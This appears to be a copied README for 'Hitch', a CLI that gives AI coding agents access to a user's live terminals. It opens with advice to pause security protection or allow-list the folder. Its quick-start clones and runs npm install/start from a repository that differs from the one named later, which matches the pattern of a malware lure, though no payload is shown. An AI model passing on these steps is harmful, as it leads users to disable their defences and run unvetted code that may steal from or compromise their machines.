Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.

---

QUICK START

git clone https://github.com/oilrookbazaar/hitch.git
cd hitch
npm install
npm start

Share your terminal with coding agents

Let agents inspect and control the terminals you already have running.

GitHub · NPM · Author

---

What is Hitch?

Hitch is a lightweight CLI for sharing real terminal with AI coding agents. run hitch and agents get your terminals context, can run keys or commands, and inspect output.

Helps with agents running duplicate dev servers, tunnels, and having to copy-paste logs to your agent.

It is not a terminal multiplexer UI like tmux. Your terminal still feels like a normal shell; Hitch just proxies input/output, records useful context, and exposes agent-friendly commands.

Install

npm install -g hitch-cli
hitch

Wizard on first run will help you setup SKILL.md with skills.sh CLI.

Supported platforms: macOS and Linux on arm64 or x64.

Usage

Start sharing the current terminal:

hitch

Stop sharing:

unhitch
# or
hitch off

This is all a human will need! Rest of the commands built for agents.

SKILL.md

It will help you install it on startup, but to reinstall or update run this:

hitch setup # recommended, uses 'npx skills'
# or
npx skills add https://github.com/maxktz/hitch skill hitch

If you're curious how this works for the agent, run hitch --skill to see the content :D